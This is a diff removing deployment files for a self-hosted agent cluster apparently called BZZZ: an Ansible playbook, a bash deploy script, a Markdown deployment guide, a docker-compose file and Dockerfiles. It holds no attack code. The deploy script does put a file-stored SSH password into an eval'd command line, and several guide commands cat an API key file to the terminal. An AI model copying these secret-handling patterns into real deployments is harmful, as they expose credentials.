ignore_errors: yes
- name: Check for existing BZZZ config files
stat:
path: "{{ item }}"
register: config_file_checks
loop: "{{ bzzz_config_paths }}"
- name: Identify existing config files
set_fact:
existing_config_files: "{{ config_file_checks.results | selectattr('stat.exists') | map(attribute='item') | list }}"
- name: Display config file status
debug:
msg: |
Config file discovery:
{% for path in bzzz_config_paths %}
{{ path }}: {{ 'EXISTS' if path in existing_config_files else 'MISSING' }}
{% endfor %}
- name: Warn if no config files found
debug:
msg: |
⚠️ WARNING: No BZZZ config files found!
The embedded installation server should have generated a config file.
Expected locations:
{{ bzzz_config_paths | join('\n') }}
The service may fail to start without proper configuration.
when: existing_config_files | length == 0
- name: Display primary config file
debug:
msg: "✅ Using primary config file: {{ existing_config_files[0] }}"
when: existing_config_files | length > 0
- name: Validate primary config file content
shell: |
echo "Config file validation for: {{ existing_config_files[0] }}"
echo "File size: $(stat -c%s '{{ existing_config_files[0] }}') bytes"
echo "Last modified: $(stat -c%y '{{ existing_config_files[0] }}')"
echo ""
echo "Config file preview (first 10 lines):"
head -10 '{{ existing_config_files[0] }}'
register: config_validation
when: existing_config_files | length > 0
changed_when: false
- name: Display config file validation
debug:
msg: "{{ config_validation.stdout_lines }}"
when: existing_config_files | length > 0 and config_validation is defined
- name: Stop BZZZ service if running
systemd:
name: "{{ bzzz_service_name }}"
state: stopped
when: bzzz_service_status.status is defined and bzzz_service_status.status.ActiveState == "active"
- name: Backup existing BZZZ binary
copy:
src: "/usr/local/bin/bzzz"
dest: "/usr/local/bin/bzzz-backup-{{ backup_timestamp }}"
remote_src: yes
ignore_errors: yes
- name: Copy new BZZZ binary to target hosts
copy:
src: "{{ bzzz_binary_source }}"
dest: "/usr/local/bin/bzzz"
mode: '0755'
owner: root
group: root
- name: Verify binary was copied correctly
stat:
path: "/usr/local/bin/bzzz"
register: bzzz_binary_stat
- name: Fail if binary wasn't copied
fail:
msg: "BZZZ binary was not copied successfully"
when: not bzzz_binary_stat.stat.exists
- name: Check if systemd service file exists
stat:
path: "/etc/systemd/system/{{ bzzz_service_name }}.service"
register: service_file_stat
- name: Display service file status
debug:
msg: "Service file exists: {{ service_file_stat.stat.exists }}"
- name: Reload systemd daemon
systemd:
daemon_reload: yes
- name: Enable BZZZ service
systemd:
name: "{{ bzzz_service_name }}"
enabled: yes
- name: Start BZZZ service
systemd:
name: "{{ bzzz_service_name }}"
state: started
- name: Wait for service to be active
wait_for:
timeout: 30
delegate_to: localhost
- name: Check BZZZ service status
systemd:
name: "{{ bzzz_service_name }}"
register: final_service_status
- name: Display service status
debug:
msg: |
Service: {{ bzzz_service_name }}
Active: {{ final_service_status.status.ActiveState }}
Sub-State: {{ final_service_status.status.SubState }}
Host: {{ inventory_hostname }}
- name: Get recent service logs
command: journalctl -u {{ bzzz_service_name }} --since "2 minutes ago" --no-pager -n 20
register: service_logs
changed_when: false
- name: Display recent service logs
debug:
msg: "{{ service_logs.stdout_lines }}"

100
deploy-cluster.sh
View File

@@ -1,100 +0,0 @@
#!/bin/bash
# BZZZ Cluster Deployment Script
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
VERSION="1.0.2"
echo "🚀 BZZZ Cluster Deployment v${VERSION}"
echo "========================================"
# Check if binary exists
BINARY_PATH="${SCRIPT_DIR}/build/bzzz-${VERSION}"
if [[ ! -f "$BINARY_PATH" ]]; then
echo "❌ Binary not found: $BINARY_PATH"
echo " Please build the binary first with: go build -o build/bzzz-${VERSION} ."
exit 1
fi
echo "✅ Binary found: $BINARY_PATH ($(ls -lh "$BINARY_PATH" | awk '{print $5}'))"
# Check if inventory exists
INVENTORY_PATH="${SCRIPT_DIR}/inventory.ini"
if [[ ! -f "$INVENTORY_PATH" ]]; then
echo "❌ Inventory file not found: $INVENTORY_PATH"
exit 1
fi
echo "✅ Inventory file found: $INVENTORY_PATH"
# Check for local config file (as a reference)
LOCAL_CONFIG_PATHS=(
"${SCRIPT_DIR}/bzzz.yaml"
"${SCRIPT_DIR}/config/bzzz.yaml"
"$HOME/.config/bzzz/config.yaml"
"/etc/bzzz/config.yaml"
)
echo ""
echo "🔍 Local config file check (reference):"
LOCAL_CONFIG_FOUND=false
for config_path in "${LOCAL_CONFIG_PATHS[@]}"; do
if [[ -f "$config_path" ]]; then
echo " ✅ Found: $config_path"
LOCAL_CONFIG_FOUND=true
else
echo " ❌ Missing: $config_path"
fi
done
if [[ "$LOCAL_CONFIG_FOUND" == "false" ]]; then
echo ""
echo "⚠️ WARNING: No BZZZ config files found locally!"
echo " The embedded installation server should have generated config files."
echo " Remote machines will also be checked during deployment."
fi
# Read password from secrets file
PASSWORD_FILE="/home/tony/chorus/business/secrets/tony-pass"
if [[ ! -f "$PASSWORD_FILE" ]]; then
echo "❌ Password file not found: $PASSWORD_FILE"
echo " Please enter password manually when prompted"
EXTRA_VARS=""
else
PASSWORD=$(cat "$PASSWORD_FILE")
EXTRA_VARS="--extra-vars ansible_ssh_pass='$PASSWORD'"
echo "✅ Password loaded from secrets file"
fi
echo ""
echo "📋 Deployment Plan:"
echo " • Verify BZZZ configuration files exist"
echo " • Stop existing BZZZ services"
echo " • Backup current binaries"
echo " • Deploy BZZZ v${VERSION}"
echo " • Update systemd configuration"
echo " • Start services and verify connectivity"
echo ""
# Confirm deployment
read -p "🔄 Proceed with cluster deployment? (y/N): " -n 1 -r
echo
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
echo "❌ Deployment cancelled"
exit 0
fi
echo "🚀 Starting deployment..."
# Run Ansible playbook
eval "ansible-playbook -i '$INVENTORY_PATH' '$SCRIPT_DIR/deploy-bzzz-cluster.yml' $EXTRA_VARS --become"
echo ""
echo "✅ Deployment complete!"
echo ""
echo "🔍 To verify deployment:"
echo " ansible bzzz_cluster -i inventory.ini -m shell -a 'systemctl status bzzz' --become $EXTRA_VARS"
echo ""
echo "📝 To view logs:"
echo " ansible bzzz_cluster -i inventory.ini -m shell -a 'journalctl -u bzzz --since \"5 minutes ago\" --no-pager' --become $EXTRA_VARS"

590
deploy/DEPLOYMENT_GUIDE.md
View File

@@ -1,590 +0,0 @@
# BZZZ MCP Integration Deployment Guide
This guide provides step-by-step instructions for deploying the BZZZ MCP integration with GPT-4 agents across the CHORUS cluster.
## Prerequisites
### Infrastructure Requirements
- **Cluster Nodes**: Minimum 3 nodes (WALNUT, IRONWOOD, ACACIA)
- **RAM**: 32GB+ per node for optimal performance
- **Storage**: 1TB+ SSD per node for conversation history and logs
- **Network**: High-speed connection between nodes for P2P communication
### Software Prerequisites
```bash
# On each node, ensure these are installed:
docker --version # Docker 24.0+
docker-compose --version # Docker Compose 2.20+
go version # Go 1.21+
node --version # Node.js 18+
```
### API Keys and Secrets
Ensure the OpenAI API key is properly stored:
```bash
# Verify the OpenAI API key exists
cat ~/chorus/business/secrets/openai-api-key-for-bzzz.txt
```
## Deployment Steps
### 1. Pre-Deployment Setup
#### Clone and Build
```bash
cd /home/tony/chorus/project-queues/active/BZZZ
# Build Go components
go mod download
go build -o bzzz main.go
# Build MCP server
cd mcp-server
npm install
npm run build
cd ..
# Build Docker images
docker build -t bzzz/mcp-node:latest .
docker build -t bzzz/mcp-server:latest mcp-server/
```
#### Environment Configuration
```bash
# Create environment file
cat > .env << EOF
# BZZZ Network Configuration
BZZZ_NODE_ID=bzzz-mcp-walnut
BZZZ_NETWORK_ID=bzzz-chorus-cluster
BZZZ_P2P_PORT=4001
BZZZ_HTTP_PORT=8080
# OpenAI Configuration
OPENAI_MODEL=gpt-4
OPENAI_MAX_TOKENS=4000
OPENAI_TEMPERATURE=0.7
# Cost Management
DAILY_COST_LIMIT=100.0
MONTHLY_COST_LIMIT=1000.0
COST_WARNING_THRESHOLD=0.8
# Agent Configuration
MAX_AGENTS=5
MAX_ACTIVE_THREADS=10
THREAD_TIMEOUT=3600
# Database Configuration
POSTGRES_PASSWORD=$(openssl rand -base64 32)
# Monitoring
GRAFANA_PASSWORD=$(openssl rand -base64 16)
# Integration URLs
WHOOSH_API_URL=http://192.168.1.72:8001
SLURP_API_URL=http://192.168.1.113:8002
EOF
# Source the environment
source .env
```
### 2. Database Initialization
Create the PostgreSQL schema:
```bash
cat > deploy/init-db.sql << EOF
-- BZZZ MCP Database Schema
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
-- Agents table
CREATE TABLE agents (
id VARCHAR(255) PRIMARY KEY,
role VARCHAR(100) NOT NULL,
model VARCHAR(100) NOT NULL,
capabilities TEXT[],
specialization VARCHAR(255),
max_tasks INTEGER DEFAULT 3,
status VARCHAR(50) DEFAULT 'idle',
created_at TIMESTAMP DEFAULT NOW(),
last_active TIMESTAMP DEFAULT NOW(),
node_id VARCHAR(255),
system_prompt TEXT
);
-- Conversations table
CREATE TABLE conversations (
id VARCHAR(255) PRIMARY KEY,
topic TEXT NOT NULL,
state VARCHAR(50) DEFAULT 'active',
created_at TIMESTAMP DEFAULT NOW(),
last_activity TIMESTAMP DEFAULT NOW(),
creator_id VARCHAR(255),
shared_context JSONB DEFAULT '{}'::jsonb
);
-- Conversation participants
CREATE TABLE conversation_participants (
conversation_id VARCHAR(255) REFERENCES conversations(id),
agent_id VARCHAR(255) REFERENCES agents(id),
role VARCHAR(100),
status VARCHAR(50) DEFAULT 'active',
joined_at TIMESTAMP DEFAULT NOW(),
PRIMARY KEY (conversation_id, agent_id)
);
-- Messages table
CREATE TABLE messages (
id UUID DEFAULT uuid_generate_v4() PRIMARY KEY,
conversation_id VARCHAR(255) REFERENCES conversations(id),
from_agent VARCHAR(255) REFERENCES agents(id),
content TEXT NOT NULL,
message_type VARCHAR(100),
timestamp TIMESTAMP DEFAULT NOW(),
reply_to UUID REFERENCES messages(id),
token_count INTEGER DEFAULT 0,
model VARCHAR(100)
);
-- Agent tasks
CREATE TABLE agent_tasks (
id VARCHAR(255) PRIMARY KEY,
agent_id VARCHAR(255) REFERENCES agents(id),
repository VARCHAR(255),
task_number INTEGER,
title TEXT,
status VARCHAR(50) DEFAULT 'active',
start_time TIMESTAMP DEFAULT NOW(),
context JSONB DEFAULT '{}'::jsonb,
thread_id VARCHAR(255)
);
-- Token usage tracking
CREATE TABLE token_usage (
id UUID DEFAULT uuid_generate_v4() PRIMARY KEY,
agent_id VARCHAR(255) REFERENCES agents(id),
conversation_id VARCHAR(255),
timestamp TIMESTAMP DEFAULT NOW(),
model VARCHAR(100),
prompt_tokens INTEGER,
completion_tokens INTEGER,
total_tokens INTEGER,
cost_usd DECIMAL(10,6)
);
-- Agent memory
CREATE TABLE agent_memory (
agent_id VARCHAR(255) REFERENCES agents(id),
memory_type VARCHAR(50), -- 'working', 'episodic', 'semantic'
key VARCHAR(255),
value JSONB,
timestamp TIMESTAMP DEFAULT NOW(),
expires_at TIMESTAMP,
PRIMARY KEY (agent_id, memory_type, key)
);
-- Escalations
CREATE TABLE escalations (
id UUID DEFAULT uuid_generate_v4() PRIMARY KEY,
conversation_id VARCHAR(255) REFERENCES conversations(id),
reason VARCHAR(255),
escalated_at TIMESTAMP DEFAULT NOW(),
escalated_by VARCHAR(255),
status VARCHAR(50) DEFAULT 'pending',
resolved_at TIMESTAMP,
resolution TEXT
);
-- Indexes for performance
CREATE INDEX idx_agents_role ON agents(role);
CREATE INDEX idx_agents_status ON agents(status);
CREATE INDEX idx_conversations_state ON conversations(state);
CREATE INDEX idx_messages_conversation_timestamp ON messages(conversation_id, timestamp);
CREATE INDEX idx_token_usage_agent_timestamp ON token_usage(agent_id, timestamp);
CREATE INDEX idx_agent_memory_agent_type ON agent_memory(agent_id, memory_type);
EOF
```
### 3. Deploy to Cluster
#### Node-Specific Deployment
**On WALNUT (192.168.1.27):**
```bash
# Set node-specific configuration
export BZZZ_NODE_ID=bzzz-mcp-walnut
export NODE_ROLE=primary
# Deploy with primary node configuration
docker-compose -f deploy/docker-compose.mcp.yml up -d
```
**On IRONWOOD (192.168.1.72):**
```bash
# Set node-specific configuration
export BZZZ_NODE_ID=bzzz-mcp-ironwood
export NODE_ROLE=secondary
# Deploy as secondary node
docker-compose -f deploy/docker-compose.mcp.yml up -d
```
**On ACACIA (192.168.1.113):**
```bash
# Set node-specific configuration
export BZZZ_NODE_ID=bzzz-mcp-acacia
export NODE_ROLE=secondary
# Deploy as secondary node
docker-compose -f deploy/docker-compose.mcp.yml up -d
```
### 4. Service Health Verification
#### Check Service Status
```bash
# Check all services are running
docker-compose -f deploy/docker-compose.mcp.yml ps
# Check BZZZ node connectivity
curl http://localhost:8080/health
# Check MCP server status
curl http://localhost:8081/health
# Check P2P network connectivity
curl http://localhost:8080/api/peers
```
#### Verify Agent Registration
```bash
# List registered agents
curl http://localhost:8081/api/agents
# Check agent capabilities
curl http://localhost:8081/api/agents/review_agent_architect
```
#### Test MCP Integration
```bash
# Test MCP server connection
cd examples
python3 test-mcp-connection.py
# Run collaborative review example
python3 collaborative-review-example.py
```
### 5. Integration with CHORUS Systems
#### WHOOSH Integration
```bash
# Verify WHOOSH connectivity
curl -X POST http://192.168.1.72:8001/api/agents \
-H "Content-Type: application/json" \
-d '{
"agent_id": "bzzz-mcp-agent-1",
"type": "gpt_agent",
"role": "architect",
"endpoint": "http://192.168.1.27:8081"
}'
```
#### SLURP Integration
```bash
# Test SLURP context event submission
curl -X POST http://192.168.1.113:8002/api/events \
-H "Content-Type: application/json" \
-d '{
"type": "agent_consensus",
"source": "bzzz_mcp_integration",
"context": {
"conversation_id": "test-thread-1",
"participants": ["architect", "reviewer"],
"consensus_reached": true
}
}'
```
### 6. Monitoring Setup
#### Access Monitoring Dashboards
- **Grafana**: http://localhost:3000 (admin/password from .env)
- **Prometheus**: http://localhost:9090
- **Logs**: Access via Grafana Loki integration
#### Key Metrics to Monitor
```bash
# Agent performance metrics
curl http://localhost:8081/api/stats
# Token usage and costs
curl http://localhost:8081/api/costs/daily
# Conversation thread health
curl http://localhost:8081/api/conversations?status=active
```
## Configuration Management
### Agent Role Configuration
Create custom agent roles:
```bash
# Create custom agent configuration
cat > config/custom-agent-roles.json << EOF
{
"roles": [
{
"name": "security_architect",
"specialization": "security_design",
"capabilities": [
"threat_modeling",
"security_architecture",
"compliance_review",
"risk_assessment"
],
"system_prompt": "You are a security architect specializing in distributed systems security...",
"interaction_patterns": {
"architects": "security_consultation",
"developers": "security_guidance",
"reviewers": "security_validation"
}
}
]
}
EOF
```
### Cost Management Configuration
```bash
# Configure cost alerts
cat > config/cost-limits.json << EOF
{
"global_limits": {
"daily_limit": 100.0,
"monthly_limit": 1000.0,
"per_agent_daily": 20.0
},
"alert_thresholds": {
"warning": 0.8,
"critical": 0.95
},
"alert_channels": {
"slack_webhook": "${SLACK_WEBHOOK_URL}",
"email": "admin@deepblack.cloud"
}
}
EOF
```
### Escalation Rules Configuration
```bash
# Configure escalation rules
cat > config/escalation-rules.json << EOF
{
"rules": [
{
"name": "Long Running Thread",
"conditions": [
{"type": "thread_duration", "threshold": 7200},
{"type": "no_progress", "threshold": true, "timeframe": 1800}
],
"actions": [
{"type": "notify_human", "target": "project_manager"},
{"type": "escalate_to_senior", "role": "senior_architect"}
]
},
{
"name": "High Cost Alert",
"conditions": [
{"type": "token_cost", "threshold": 50.0, "timeframe": 3600}
],
"actions": [
{"type": "throttle_agents", "reduction": 0.5},
{"type": "notify_admin", "urgency": "high"}
]
}
]
}
EOF
```
## Troubleshooting
### Common Issues
#### MCP Server Connection Issues
```bash
# Check MCP server logs
docker logs bzzz-mcp-server
# Verify OpenAI API key
docker exec bzzz-mcp-server cat /secrets/openai-api-key-for-bzzz.txt
# Test API key validity
curl -H "Authorization: Bearer $(cat ~/chorus/business/secrets/openai-api-key-for-bzzz.txt)" \
https://api.openai.com/v1/models
```
#### P2P Network Issues
```bash
# Check P2P connectivity
docker exec bzzz-mcp-node ./bzzz status
# View P2P logs
docker logs bzzz-mcp-node | grep p2p
# Check firewall settings
sudo ufw status | grep 4001
```
#### Agent Performance Issues
```bash
# Check agent memory usage
curl http://localhost:8081/api/agents/memory-stats
# Review token usage
curl http://localhost:8081/api/costs/breakdown
# Check conversation thread status
curl http://localhost:8081/api/conversations?status=active
```
### Performance Optimization
#### Database Tuning
```sql
-- Optimize PostgreSQL for BZZZ MCP workload
ALTER SYSTEM SET shared_buffers = '256MB';
ALTER SYSTEM SET work_mem = '16MB';
ALTER SYSTEM SET maintenance_work_mem = '128MB';
ALTER SYSTEM SET max_connections = 100;
SELECT pg_reload_conf();
```
#### Agent Optimization
```bash
# Optimize agent memory usage
curl -X POST http://localhost:8081/api/agents/cleanup-memory
# Adjust token limits based on usage patterns
curl -X PUT http://localhost:8081/api/config/token-limits \
-H "Content-Type: application/json" \
-d '{"max_tokens": 2000, "context_window": 16000}'
```
## Backup and Recovery
### Database Backup
```bash
# Create database backup
docker exec bzzz-mcp-postgres pg_dump -U bzzz bzzz_mcp | gzip > backup/bzzz-mcp-$(date +%Y%m%d).sql.gz
# Restore from backup
gunzip -c backup/bzzz-mcp-20250107.sql.gz | docker exec -i bzzz-mcp-postgres psql -U bzzz -d bzzz_mcp
```
### Configuration Backup
```bash
# Backup agent configurations
docker exec bzzz-mcp-server tar czf - /var/lib/mcp/config > backup/mcp-config-$(date +%Y%m%d).tar.gz
# Backup conversation data
docker exec bzzz-conversation-manager tar czf - /var/lib/conversations > backup/conversations-$(date +%Y%m%d).tar.gz
```
## Security Considerations
### API Key Security
```bash
# Rotate OpenAI API key monthly
echo "new-api-key" > ~/chorus/business/secrets/openai-api-key-for-bzzz.txt
docker-compose -f deploy/docker-compose.mcp.yml restart mcp-server
# Monitor API key usage
curl -H "Authorization: Bearer $(cat ~/chorus/business/secrets/openai-api-key-for-bzzz.txt)" \
https://api.openai.com/v1/usage
```
### Network Security
```bash
# Configure firewall rules
sudo ufw allow from 192.168.1.0/24 to any port 4001 # P2P port
sudo ufw allow from 192.168.1.0/24 to any port 8080 # BZZZ API
sudo ufw allow from 192.168.1.0/24 to any port 8081 # MCP API
# Enable audit logging
docker-compose -f deploy/docker-compose.mcp.yml \
-f deploy/docker-compose.audit.yml up -d
```
## Maintenance
### Regular Maintenance Tasks
```bash
# Weekly maintenance script
#!/bin/bash
set -e
echo "Starting BZZZ MCP maintenance..."
# Clean up old conversation threads
curl -X POST http://localhost:8081/api/maintenance/cleanup-threads
# Optimize database
docker exec bzzz-mcp-postgres psql -U bzzz -d bzzz_mcp -c "VACUUM ANALYZE;"
# Update cost tracking
curl -X POST http://localhost:8081/api/maintenance/update-costs
# Rotate logs
docker exec bzzz-mcp-server logrotate /etc/logrotate.d/mcp
echo "Maintenance completed successfully"
```
### Performance Monitoring
```bash
# Monitor key performance indicators
curl http://localhost:8081/api/metrics | jq '{
active_agents: .active_agents,
active_threads: .active_threads,
avg_response_time: .avg_response_time,
token_efficiency: .token_efficiency,
cost_per_task: .cost_per_task
}'
```
This deployment guide provides a comprehensive approach to deploying and maintaining the BZZZ MCP integration with GPT-4 agents across the CHORUS cluster. Follow the steps carefully and refer to the troubleshooting section for common issues.

324
deploy/docker-compose.mcp.yml
View File

@@ -1,324 +0,0 @@
version: '3.8'
# BZZZ MCP Integration Docker Compose Configuration
# This configuration deploys the complete MCP-enabled BZZZ system with GPT-4 agents
services:
# BZZZ P2P Node with MCP Integration
bzzz-node:
build:
context: ..
dockerfile: Dockerfile
args:
- BUILD_TARGET=mcp-enabled
container_name: bzzz-mcp-node
networks:
- bzzz-network
ports:
- "8080:8080" # BZZZ HTTP API
- "4001:4001" # LibP2P swarm port
environment:
- BZZZ_NODE_ID=${BZZZ_NODE_ID:-bzzz-mcp-1}
- BZZZ_NETWORK_ID=${BZZZ_NETWORK_ID:-bzzz-local}
- BZZZ_P2P_PORT=4001
- BZZZ_HTTP_PORT=8080
- MCP_ENABLED=true
- MCP_SERVER_PORT=8081
volumes:
- bzzz-data:/var/lib/bzzz
- ../business/secrets:/secrets:ro
restart: unless-stopped
depends_on:
- redis
- postgres
# MCP Server for GPT-4 Integration
mcp-server:
build:
context: ../mcp-server
dockerfile: Dockerfile
container_name: bzzz-mcp-server
networks:
- bzzz-network
ports:
- "8081:8081" # MCP HTTP API
- "8082:8082" # WebSocket endpoint
environment:
- NODE_ENV=production
- BZZZ_NODE_URL=http://bzzz-node:8080
- BZZZ_NETWORK_ID=${BZZZ_NETWORK_ID:-bzzz-local}
- OPENAI_API_KEY_FILE=/secrets/openai-api-key-for-bzzz.txt
- OPENAI_MODEL=${OPENAI_MODEL:-gpt-4}
- OPENAI_MAX_TOKENS=${OPENAI_MAX_TOKENS:-4000}
- DAILY_COST_LIMIT=${DAILY_COST_LIMIT:-100.0}
- MONTHLY_COST_LIMIT=${MONTHLY_COST_LIMIT:-1000.0}
- MAX_ACTIVE_THREADS=${MAX_ACTIVE_THREADS:-10}
- MAX_AGENTS=${MAX_AGENTS:-5}
- LOG_LEVEL=${LOG_LEVEL:-info}
volumes:
- ../business/secrets:/secrets:ro
- mcp-logs:/var/log/mcp
- mcp-data:/var/lib/mcp
restart: unless-stopped
depends_on:
- bzzz-node
- postgres
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8081/health"]
interval: 30s
timeout: 10s
retries: 3
# Agent Manager Service
agent-manager:
build:
context: ..
dockerfile: deploy/Dockerfile.agent-manager
container_name: bzzz-agent-manager
networks:
- bzzz-network
environment:
- MCP_SERVER_URL=http://mcp-server:8081
- POSTGRES_URL=postgres://bzzz:${POSTGRES_PASSWORD}@postgres:5432/bzzz_mcp
- REDIS_URL=redis://redis:6379
- AGENT_LIFECYCLE_INTERVAL=30s
- AGENT_HEALTH_CHECK_INTERVAL=60s
- COST_MONITORING_INTERVAL=300s
volumes:
- agent-data:/var/lib/agents
- ../business/secrets:/secrets:ro
restart: unless-stopped
depends_on:
- mcp-server
- postgres
- redis
# Conversation Manager Service
conversation-manager:
build:
context: ..
dockerfile: deploy/Dockerfile.conversation-manager
container_name: bzzz-conversation-manager
networks:
- bzzz-network
environment:
- MCP_SERVER_URL=http://mcp-server:8081
- POSTGRES_URL=postgres://bzzz:${POSTGRES_PASSWORD}@postgres:5432/bzzz_mcp
- REDIS_URL=redis://redis:6379
- THREAD_CLEANUP_INTERVAL=1h
- ESCALATION_CHECK_INTERVAL=5m
- SUMMARY_GENERATION_INTERVAL=15m
volumes:
- conversation-data:/var/lib/conversations
restart: unless-stopped
depends_on:
- mcp-server
- postgres
- redis
# Cost Tracker Service
cost-tracker:
build:
context: ..
dockerfile: deploy/Dockerfile.cost-tracker
container_name: bzzz-cost-tracker
networks:
- bzzz-network
environment:
- MCP_SERVER_URL=http://mcp-server:8081
- POSTGRES_URL=postgres://bzzz:${POSTGRES_PASSWORD}@postgres:5432/bzzz_mcp
- OPENAI_API_KEY_FILE=/secrets/openai-api-key-for-bzzz.txt
- COST_CALCULATION_INTERVAL=5m
- ALERT_WEBHOOK_URL=${ALERT_WEBHOOK_URL}
- SLACK_WEBHOOK_URL=${SLACK_WEBHOOK_URL}
volumes:
- cost-data:/var/lib/costs
- ../business/secrets:/secrets:ro
restart: unless-stopped
depends_on:
- mcp-server
- postgres
# PostgreSQL Database for MCP data
postgres:
image: postgres:15-alpine
container_name: bzzz-mcp-postgres
networks:
- bzzz-network
environment:
- POSTGRES_DB=bzzz_mcp
- POSTGRES_USER=bzzz
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD}
volumes:
- postgres-data:/var/lib/postgresql/data
- ./init-db.sql:/docker-entrypoint-initdb.d/init.sql
restart: unless-stopped
healthcheck:
test: ["CMD-SHELL", "pg_isready -U bzzz -d bzzz_mcp"]
interval: 10s
timeout: 5s
retries: 5
# Redis for caching and session management
redis:
image: redis:7-alpine
container_name: bzzz-mcp-redis
networks:
- bzzz-network
command: redis-server --appendonly yes --maxmemory 256mb --maxmemory-policy allkeys-lru
volumes:
- redis-data:/data
restart: unless-stopped
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 3s
retries: 3
# WHOOSH Integration Service
whoosh-integration:
build:
context: ../../../WHOOSH
dockerfile: Dockerfile
container_name: bzzz-whoosh-integration
networks:
- bzzz-network
- whoosh-network
environment:
- WHOOSH_API_URL=${WHOOSH_API_URL}
- WHOOSH_API_KEY=${WHOOSH_API_KEY}
- MCP_SERVER_URL=http://mcp-server:8081
- INTEGRATION_SYNC_INTERVAL=5m
volumes:
- whoosh-integration-data:/var/lib/whoosh-integration
- ../business/secrets:/secrets:ro
restart: unless-stopped
depends_on:
- mcp-server
# SLURP Integration Service (Context Curation)
slurp-integration:
build:
context: ../../../slurp
dockerfile: Dockerfile
container_name: bzzz-slurp-integration
networks:
- bzzz-network
- slurp-network
environment:
- SLURP_API_URL=${SLURP_API_URL}
- SLURP_API_KEY=${SLURP_API_KEY}
- MCP_SERVER_URL=http://mcp-server:8081
- CONTEXT_SYNC_INTERVAL=2m
- RELEVANCE_THRESHOLD=0.7
volumes:
- slurp-integration-data:/var/lib/slurp-integration
- ../business/secrets:/secrets:ro
restart: unless-stopped
depends_on:
- mcp-server
# Monitoring and Observability
prometheus:
image: prom/prometheus:latest
container_name: bzzz-mcp-prometheus
networks:
- bzzz-network
ports:
- "9090:9090"
command:
- '--config.file=/etc/prometheus/prometheus.yml'
- '--storage.tsdb.path=/prometheus'
- '--web.console.libraries=/etc/prometheus/console_libraries'
- '--web.console.templates=/etc/prometheus/consoles'
- '--storage.tsdb.retention.time=200h'
- '--web.enable-lifecycle'
volumes:
- ./monitoring/prometheus.yml:/etc/prometheus/prometheus.yml
- prometheus-data:/prometheus
restart: unless-stopped
grafana:
image: grafana/grafana:latest
container_name: bzzz-mcp-grafana
networks:
- bzzz-network
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_USER=${GRAFANA_USER:-admin}
- GF_SECURITY_ADMIN_PASSWORD=${GRAFANA_PASSWORD}
- GF_USERS_ALLOW_SIGN_UP=false
volumes:
- grafana-data:/var/lib/grafana
- ./monitoring/grafana/dashboards:/var/lib/grafana/dashboards
- ./monitoring/grafana/provisioning:/etc/grafana/provisioning
restart: unless-stopped
depends_on:
- prometheus
# Log Aggregation
loki:
image: grafana/loki:latest
container_name: bzzz-mcp-loki
networks:
- bzzz-network
ports:
- "3100:3100"
command: -config.file=/etc/loki/local-config.yaml
volumes:
- loki-data:/loki
restart: unless-stopped
promtail:
image: grafana/promtail:latest
container_name: bzzz-mcp-promtail
networks:
- bzzz-network
volumes:
- ./monitoring/promtail-config.yml:/etc/promtail/config.yml
- /var/log:/var/log:ro
- /var/lib/docker/containers:/var/lib/docker/containers:ro
command: -config.file=/etc/promtail/config.yml
restart: unless-stopped
depends_on:
- loki
networks:
bzzz-network:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
whoosh-network:
external: true
slurp-network:
external: true
volumes:
bzzz-data:
driver: local
mcp-logs:
driver: local
mcp-data:
driver: local
agent-data:
driver: local
conversation-data:
driver: local
cost-data:
driver: local
postgres-data:
driver: local
redis-data:
driver: local
whoosh-integration-data:
driver: local
slurp-integration-data:
driver: local
prometheus-data:
driver: local
grafana-data:
driver: local
loki-data:
driver: local

67
deployments/docker/Dockerfile.slurp-coordinator
View File

@@ -1,67 +0,0 @@
# Multi-stage build for BZZZ SLURP Coordinator
FROM golang:1.21-alpine AS builder
# Install build dependencies
RUN apk add --no-cache git ca-certificates tzdata make
# Set working directory
WORKDIR /build
# Copy go mod files
COPY go.mod go.sum ./
RUN go mod download
# Copy source code
COPY . .
# Build the application with optimizations
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
-ldflags='-w -s -extldflags "-static"' \
-a -installsuffix cgo \
-o slurp-coordinator \
./cmd/slurp-coordinator
# Create runtime image with minimal attack surface
FROM alpine:3.19
# Install runtime dependencies
RUN apk add --no-cache \
ca-certificates \
tzdata \
curl \
&& rm -rf /var/cache/apk/*
# Create application user
RUN addgroup -g 1001 -S slurp && \
adduser -u 1001 -S slurp -G slurp -h /home/slurp
# Set working directory
WORKDIR /app
# Copy the binary
COPY --from=builder /build/slurp-coordinator .
COPY --from=builder /build/config ./config
# Create necessary directories
RUN mkdir -p /app/data /app/logs /app/config && \
chown -R slurp:slurp /app
# Health check
HEALTHCHECK --interval=30s --timeout=10s --start-period=60s --retries=3 \
CMD curl -f http://localhost:8080/health || exit 1
# Switch to non-root user
USER slurp
# Expose ports
EXPOSE 8080 9090 9091
# Set entrypoint
ENTRYPOINT ["./slurp-coordinator"]
CMD ["--config", "config/coordinator.yaml"]
# Labels
LABEL maintainer="BZZZ Team"
LABEL version="1.0.0"
LABEL component="coordinator"
LABEL description="BZZZ SLURP Coordination Service"

57
deployments/docker/Dockerfile.slurp-distributor
View File

@@ -1,57 +0,0 @@
# Multi-stage build for BZZZ SLURP Context Distributor
FROM golang:1.21-alpine AS builder
# Install build dependencies
RUN apk add --no-cache git ca-certificates tzdata
# Set working directory
WORKDIR /build
# Copy go mod files
COPY go.mod go.sum ./
RUN go mod download
# Copy source code
COPY . .
# Build the application with optimizations
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
-ldflags='-w -s -extldflags "-static"' \
-a -installsuffix cgo \
-o slurp-distributor \
./cmd/slurp-distributor
# Create minimal runtime image
FROM scratch
# Copy CA certificates and timezone data from builder
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
# Copy the binary
COPY --from=builder /build/slurp-distributor /slurp-distributor
# Create non-root user directories
COPY --from=builder /etc/passwd /etc/passwd
COPY --from=builder /etc/group /etc/group
# Health check endpoint
HEALTHCHECK --interval=30s --timeout=10s --start-period=30s --retries=3 \
CMD ["/slurp-distributor", "health"]
# Expose ports
EXPOSE 8080 9090 11434
